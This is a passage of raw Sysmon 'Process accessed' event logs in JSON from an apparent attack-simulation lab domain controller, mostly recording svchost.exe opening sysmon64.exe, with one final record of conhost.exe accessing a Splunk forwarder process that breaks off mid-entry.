{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.729\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41EF-5F2D-0000-001056070900}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 